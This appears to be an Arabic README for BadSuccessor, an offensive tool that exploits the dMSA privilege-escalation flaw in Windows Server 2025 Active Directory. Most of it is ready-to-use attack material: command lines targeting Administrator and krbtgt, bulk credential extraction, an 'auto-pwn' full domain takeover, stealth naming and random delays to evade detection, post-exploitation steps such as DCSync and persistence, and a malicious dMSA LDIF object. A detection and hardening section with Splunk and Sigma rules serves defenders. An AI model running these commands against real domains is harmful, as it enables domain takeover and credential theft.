
يستغل ثغرة تصعيد الامتيازات dMSA في Windows Server 2025 لتعداد وحدات التنظيم (OUs) القابلة للكتابة، وتصعيد الصلاحيات إلى مستخدمي النطاق العشوائيين، واستخراج بيانات الاعتماد، وتمكين السيطرة الكاملة على النطاق في تقييمات أمنية مرخصة لـ Active Directory.
أداة اختبار اختراق تستغل ثغرة تصعيد الامتيازات في ميزة dMSA (حساب الخدمة المُدار المفوض) في بيئات Active Directory لخادم Windows Server 2025.
هذه الأداة مخصصة لاختبار الاختراق المصرح به وأغراض البحث الأمني فقط. استخدام هذه الأداة ضد أنظمة دون إذن كتابي صريح هو أمر غير قانوني وغير أخلاقي. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
هام: هذه الأداة قيد التطوير والاختبار النشط.
نشجع المجتمع الأمني على:
باستخدامك لهذه الأداة، فإنك تقر بأنها قيد التطوير النشط وقد تتطلب تعديلات لبيئتك المحددة.
تستغل BadSuccessor ثغرة تصعيد الامتيازات في ميزة حساب الخدمة المُدار المفوض (dMSA) في Windows Server 2025. تسمح الثغرة للمهاجمين ذوي الصلاحيات الدنيا بتصعيد الامتيازات إلى أي مستخدم في المجال، بما في ذلك مسؤولو المجال.
تستند هذه الأداة إلى البحث الممتاز الذي أجراه Yuval Gordon من Akamai Technologies:
تكمن الثغرة في عملية ترحيل dMSA حيث:
msDS-ManagedAccountPrecededByLink أو ms-DS-Managed-Account-Preceded-By-Link ليشير إلى مستخدم مستهدفmsDS-DelegatedMSAState أو ms-DS-Delegated-MSA-State على 2 (اكتمل الترحيل)بالإضافة إلى ذلك، يحتوي هيكل KERB-DMSA-KEY-PACKAGE على مفاتيح كلمة مرور المستخدم المستهدف، مما يتيح استخراج بيانات الاعتماد.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**ملاحظة**: تم اختبار الأداة مع impacket 0.12.0. يتم عرض تحذيرات توافق الإصدارات في وقت التشغيل.
### التبعيات الاختيارية```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### أمثلة البداية السريعة
#### 1. وضع التشغيل التجريبي (جديد) - الاختبار بدون إجراء تغييرات```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. تنفيذ الهجوم```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. إدارة الجلسات (جديد)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### خيارات سطر الأوامر
#### وسائط المصادقة
| الخيار | الوصف |
|--------|-------------|
| `-d, --domain` | النطاق المستهدف (مثال: corp.local) **[مطلوب]** |
| `-u, --username` | اسم المستخدم للمصادقة **[مطلوب]** |
| `-p, --password` | كلمة المرور للمصادقة |
| `--dc-ip` | عنوان IP لوحدة تحكم النطاق (اكتشاف تلقائي إذا تم حذفه) |
| `--ldaps` | فرض اتصال LDAPS (SSL) على المنفذ 636 |
#### أوضاع الهجوم
| الخيار | الوصف |
|--------|-------------|
| `--attack` | تنفيذ هجوم BadSuccessor |
| `--dry-run` | **جديد**: محاكاة الهجوم دون إجراء تغييرات |
| `--extract-creds` | استخراج بيانات الاعتماد باستخدام حزمة المفاتيح |
| `--auto-pwn` | استيلاء آلي بالكامل على النطاق |
#### تحديد الهدف
| الخيار | الوصف |
|--------|-------------|
| `--target` | المستخدم الهدف لترقية صلاحياته |
| `--targets` | قائمة مفصولة بفواصل من المستخدمين لاستخراج بيانات الاعتماد |
| `--validate-target` | **جديد**: التحقق من حساب هدف دون مهاجمته |
#### إعدادات dMSA
| الخيار | الوصف |
|--------|-------------|
| `--dmsa-name` | اسم dMSA الخبيث (يُولَّد تلقائيًا إذا لم يُحدد) |
| `--dmsa-pattern` | **جديد**: نمط تسمية dMSA (مثال: "svc{random}{target}") |
| `--ou-dn` | DN محدد لوحدة تنظيمية (OU) لاستخدامه (اكتشاف تلقائي إذا لم يُحدد) |
| `--dmsa-description` | **جديد**: وصف لـ dMSA المُنشأ |
| `--dmsa-display-name` | **جديد**: اسم العرض لـ dMSA المُنشأ |
#### خيارات التعداد
| الخيار | الوصف |
|--------|-------------|
| `--enumerate` | تعداد الوحدات التنظيمية (OUs) التي لديها أي صلاحيات كتابة |
| `--list-targets` | سرد الأهداف عالية القيمة |
| `--check-schema` | التحقق من مخطط Windows Server 2025 |
#### إدارة الجلسات (جديد)
| الخيار | الوصف |
|--------|-------------|
| `--session-id` | استئناف جلسة موجودة |
| `--list-sessions` | سرد جميع الجلسات المتاحة |
| `--cleanup-session SESSION_ID` | تنظيف جميع dMSAs من جلسة |
#### خيارات التنظيف
| الخيار | الوصف |
|--------|-------------|
| `--cleanup` | إزالة dMSA المُنشأ |
| `--dmsa-dn` | DN الخاص بـ dMSA لعمليات التنظيف |
| `--cleanup-all` | **جديد**: تنظيف جميع dMSAs من الجلسة الحالية |
#### خيارات الإخراج
| الخيار | الوصف |
|--------|-------------|
| `--export-json FILE` | **جديد**: تصدير النتائج إلى ملف JSON |
| `--export-csv FILE` | **جديد**: تصدير النتائج إلى ملف CSV |
| `--export-html FILE` | **جديد**: إنشاء تقرير HTML |
| `--no-banner` | إخفاء مخرجات الشعار |
| `--verbose` | تفعيل الإخراج المفصّل |
#### خيارات التخفي (جديد)
| الخيار | الوصف |
|--------|-------------|
| `--stealth` | تفعيل وضع التخفي (تسمية غير ضارة) |
| `--random-delay SECONDS` | تأخير عشوائي بين العمليات (0-N ثانية) |
## 🔧 سير عمل الهجوم
### المرحلة 1: الاستطلاع
1. **التحقق من المخطط**: يؤكد دعم Windows Server 2025 لـ dMSA مع اكتشاف ديناميكي للسمات
2. **اكتشاف الصلاحيات**: يحدد الوحدات التنظيمية (OUs) التي لديها أي صلاحية كتابة (وليس فقط CreateChild)
3. **التحقق من الهدف**: **جديد** - تحليل شامل لحساب الهدف قبل الهجوم
### المرحلة 2: الاستغلال
1. **خيار التشغيل التجريبي**: **جديد** - اختبار جدوى الهجوم دون إجراء تغييرات
2. **إنشاء dMSA**: إنشاء dMSA خبيث بسمات قابلة للتخصيص
3. **التلاعب بالسمات**: تعيين رابط السلف وحالة الترحيل مع الوعي بالمخطط
4. **تتبع الجلسة**: **جديد** - تتبع جميع الكائنات المُنشأة لسهولة التنظيف
### المرحلة 3: المصادقة
1. **طلب TGT من Kerberos**: الحصول على TGT بصلاحيات موروثة
2. **تحليل PAC**: التحقق من عضويات المجموعات الموروثة
3. **استخراج حزمة المفاتيح**: تحليل محسّن بطرق احتياطية متعددة
### المرحلة 4: ما بعد الاستغلال
توفر الأداة أوامر جاهزة للاستخدام من أجل:
- هجمات DCSync (تفريغ جميع تجزئات النطاق)
- تنفيذ الأوامر عن بُعد
- الحركة الجانبية
- إنشاء الثبات
## 🔐 ميزات جاهزة للإنتاج (v3.0.0)
### الكشف الديناميكي للمخطط (جديد)
- يكتشف تلقائيًا اصطلاح تسمية السمات الذي تستخدمه بيئتك
- يدعم جميع الاختلافات المعروفة لسمات dMSA
- آليات احتياطية لإصدارات مختلفة من Windows Server 2025
### تحسين التحقق من الهدف (جديد)
- التحقق قبل الهجوم من الحسابات المستهدفة
- يكتشف الحسابات المعطلة أو المقفلة أو منتهية الصلاحية
- يحذر بشأن متطلبات البطاقة الذكية وقيود التفويض
- يقدم توصيات بناءً على خصائص الهدف
### إدارة الجلسات (جديد)
- تتبع جلسة مستمر عبر العمليات
- استئناف الهجمات المتقطعة
- تنظيف شامل لجميع dMSAs المُنشأة
- ملفات الجلسة مخزنة بشكل آمن بصلاحيات 0700
### وضع التشغيل التجريبي (جديد)
- اختبار جدوى الهجوم دون إجراء أي تغييرات
- يتحقق من المخطط والصلاحيات والهدف
- يبلّغ بالضبط بما سيحدث أثناء هجوم حقيقي
- مثالي للاستطلاع والتخطيط
### ميزات التخفي (جديد)
- أنماط تسمية dMSA غير ضارة تندمج مع البيئة
- تأخيرات عشوائية بين العمليات
- سمات dMSA قابلة للتخصيص (الوصف، اسم العرض)
- تسمية قائمة على الأنماط مع متغيرات
### صيغ إخراج احترافية (جديد)
- تصدير JSON للتكامل مع الأدوات الأخرى
- تصدير CSV لتحليل جداول البيانات
- تقارير HTML بمخرجات منسقة
- بيانات منظمة لجميع العمليات
### معالجة أخطاء بمستوى المؤسسات
- رسائل خطأ شاملة مع حلول قابلة للتنفيذ
- إجراءات احتياطية سلسة لجميع العمليات
- تسجيل مفصّل مع الطابع الزمني ومستوى الخطورة
- وضع مفصّل لاستكشاف الأخطاء وإصلاحها
### تنفيذ كامل
- جميع الميزات منفذة بالكامل (بدون كود مؤقت)
- بنية كود مختبرة للإنتاج
- تصميم معياري بفئات متخصصة
- توافق كامل مع تكوينات Active Directory المختلفة
## 🛡️ الكشف
### معرّفات الأحداث للمراقبة
| معرّف الحدث | المصدر | الوصف |
|----------|--------|-------------|
| **5137** | الأمان | إنشاء كائن خدمة الدليل (dMSA) |
| **5136** | الأمان | تعديل كائن خدمة الدليل |
| **2946** | خدمة الدليل | مصادقة حساب خدمة مُدار جماعي |
| **4768** | الأمان | طلب TGT من Kerberos |
| **4769** | الأمان | طلب تذكرة خدمة من Kerberos |
### قواعد الكشف```
# Splunk Query Example
index=windows EventCode=5137
| where ObjectClass="msDS-DelegatedManagedServiceAccount" OR ObjectClass="ms-DS-Delegated-Managed-Service-Account"
| where NOT user IN ("approved_admins")
# Sigma Rule Example
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName:
- 'msDS-ManagedAccountPrecededByLink'
- 'ms-DS-Managed-Account-Preceded-By-Link'
condition: selection
تقييد أذونات OU ```powershell
Remove-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" -User "Domain Users" -AccessRights CreateChild,Write,GenericWrite,GenericAll
Get-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" | Where-Object {$_.IdentityReference -match "Authenticated Users|Everyone"}
راقب عمليات dMSA ```powershell
Set-ADObject -Identity "CN=Schema,CN=Configuration,DC=corp,DC=local" -Add @{ 'msDS-ReplAttributeMetaData' = @('msDS-ManagedAccountPrecededByLink', 'ms-DS-Managed-Account-Preceded-By-Link') }
تنفيذ الكشف
استنادًا إلى أبحاث Akamai:
dn: CN=evil_dmsa,OU=ServiceAccounts,DC=corp,DC=local objectClass: top objectClass: msDS-GroupManagedServiceAccount objectClass: msDS-DelegatedManagedServiceAccount sAMAccountName: evil_dmsa$ userAccountControl: 4096
msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=corp,DC=local
ms-DS-Managed-Account-Preceded-By-Link: CN=Administrator,CN=Users,DC=corp,DC=local msDS-DelegatedMSAState: 2 msDS-SupportedEncryptionTypes: 28
### Key Package Structure
تحتوي حزمة KERB-DMSA-KEY-PACKAGE على:
- المفاتيح الحالية: مفاتيح التشفير الخاصة بـ dMSA
- المفاتيح السابقة: مفاتيح التشفير الخاصة بالمستخدم المستهدف (بما في ذلك هاش NTLM)
- تتيح استخراج الاعتمادات مباشرة دون الحاجة لكسر كلمات المرور
## 🤝 المساهمة
المساهمات مرحّب بها! يرجى:
1. انسخ المستودع (Fork)
2. أنشئ فرع ميزة (`git checkout -b feature/enhancement`)
3. نفّذ التغييرات (`git commit -m 'Add new feature'`)
4. ادفع إلى الفرع (`git push origin feature/enhancement`)
5. قدّم طلب سحب (Pull Request)
### إرشادات التطوير
- اتبع دليل الأسلوب PEP 8
- أضف اختبارات الوحدة للميزات الجديدة
- حدّث التوثيق
- اختبر ضد بيئات AD متعددة
- اختبر بأعراف تسمية سمات المخطط المختلفة
- تأكد من أن جميع الميزات جاهزة للإنتاج (بدون كود مؤقت)
## 📝 سجل التغييرات
### v2.3.0 (2025-05-28) - إصدار جاهز للإنتاج
- **جديد**: وضع التشغيل التجريبي لمحاكاة هجوم آمنة
- **جديد**: إدارة جلسات شاملة مع استمرارية الحالة
- **جديد**: التحقق من الحساب المستهدف مع تحليل مفصّل
- **جديد**: إمكانات التصدير (JSON, CSV, HTML)
- **جديد**: وضع التخفي مع أنماط تسمية غير مؤذية
- **جديد**: سمات dMSA قابلة للتخصيص (الوصف، اسم العرض)
- **جديد**: تسمية dMSA قائمة على الأنماط مع متغيرات
- **جديد**: دعم التأخير العشوائي للعمليات الخفية
- **جديد**: اكتشاف ديناميكي لسمات المخطط
- **جديد**: تحليل محسّن لحزمة المفاتيح مع آليات احتياطية
- **جديد**: عمليات تنظيف مجمّعة
- **جديد**: معالجة أخطاء وتسجيل احترافية
- **محسّن**: بنية معيارية كاملة
- **محسّن**: فحص إصدارات التبعيات
- **تم الإصلاح**: استبدال جميع الأكواد المؤقتة بتطبيقات كاملة
### v2.2.0 (2025-05-27) - تحديث التوافق
- **تم الإصلاح**: حل مشكلات استيراد impacket (إزالة اعتماد seq_decode)
- **تم الإصلاح**: متوافق مع impacket 0.12.0
- **ميزة**: إضافة دعم لأعراف تسمية سمات dMSA كليهما
- **محسّن**: معالجة أفضل للأخطاء عند فشل الاستيراد
- **محسّن**: اكتشاف مخطط أكثر متانة
### v2.1.0 (2025-05-25) - تنفيذ كامل
- **رئيسي**: تحسين فحص أذونات ACL - يكتشف الآن جميع أذونات الكتابة
- **رئيسي**: إضافة دعم للمجموعات الافتراضية (Authenticated Users, Everyone, إلخ.)
- **تم الإصلاح**: إزالة جميع الأكواد المؤقتة
- **تم الإصلاح**: تنفيذ كامل لجميع الميزات
- **محسّن**: معالجة أخطاء أفضل ومخرجات أكثر وضوحًا
- **محسّن**: تعداد OU أكثر شمولاً (يشمل الحاويات)
- **ميزة**: يعرض الأذونات الدقيقة لكل OU مكتشفة
- **ميزة**: اكتشاف المستخدمين المحميين وقيود التفويض
### v2.0.0 (2025-05-24) - الإصدار المحسّن
- **رئيسي**: تنفيذ كامل لمصادقة Kerberos
- **رئيسي**: استخراج KERB-DMSA-KEY-PACKAGE لسرقة الاعتمادات
- **رئيسي**: فحص أذونات ACL الأساسي
- **رئيسي**: التحقق من مخطط Windows Server 2025
- **ميزة**: وضع استخراج الاعتمادات الجماعي
- **ميزة**: Auto-pwn للاستيلاء التلقائي على المجال
- **ميزة**: تعداد محسّن للأهداف
- **ميزة**: توليد أوامر ما بعد الاستغلال
- **تحسين**: معالجة أخطاء وتسجيل أفضل
- **تحسين**: بنية كود جاهزة للإنتاج
## 📚 المراجع
- [بحث Akamai الأصلي](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
- [مشكلة GitHub #1 - فحص الأذونات المحسّن](https://github.com/cybrly/badsuccessor/issues/1)
- [مشكلة GitHub #2 - تسمية سمات المخطط](https://github.com/cybrly/badsuccessor/issues/2)
- [مركز استجابة الأمان من Microsoft](https://msrc.microsoft.com/)
## 🐛 المشاكل المعروفة
- قد تستخدم بعض البيئات أعراف تسمية سمات مختلفة (يتم التعامل معها عبر الاكتشاف الديناميكي)
- تتطلب مصادقة الهاش كلمة مرور للتطبيق الأولي
- قد تتطلب بعض البيئات إعداد Kerberos يدويًا
- قواعد الاكتشاف تحتاج إلى تخصيص حسب البيئة
## 🔍 استكشاف الأخطاء وإصلاحها
### أخطاء الاستيراد
إذا واجهت أخطاء استيراد مع impacket:```bash
# Ensure you have the correct version
pip3 uninstall impacket
pip3 install impacket==0.12.0
# Check version
python3 -c "import impacket; print(impacket.__version__)"
تتضمن الأداة الآن اكتشافًا ديناميكيًا للمخطط. إذا استمر الفشل:```powershell
Get-ADObject -Filter {name -like "delegated" -or name -like "preceded"} -SearchBase "CN=Schema,CN=Configuration,DC=corp,DC=local" | Select Name
### أخطاء رفض الإذن
استخدم وضع التشغيل التجريبي الجديد للاختبار:```bash
# Test without making changes
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Check your exact permissions
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --verbose
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
rm -rf /tmp/.badsuccessor_sessions/
## 📧 التواصل
للاستفسارات أو المشكلات أو الإفصاح المسؤول:
- افتح Issue على GitHub
- اتبع ممارسات الإفصاح المسؤول
- امنح 90 يومًا لتطوير التصحيح
---
**⚡ تذكر: القوة العظيمة تأتي بمسؤولية عظيمة. احصل دائمًا على الترخيص المناسب قبل الاختبار!** 🔐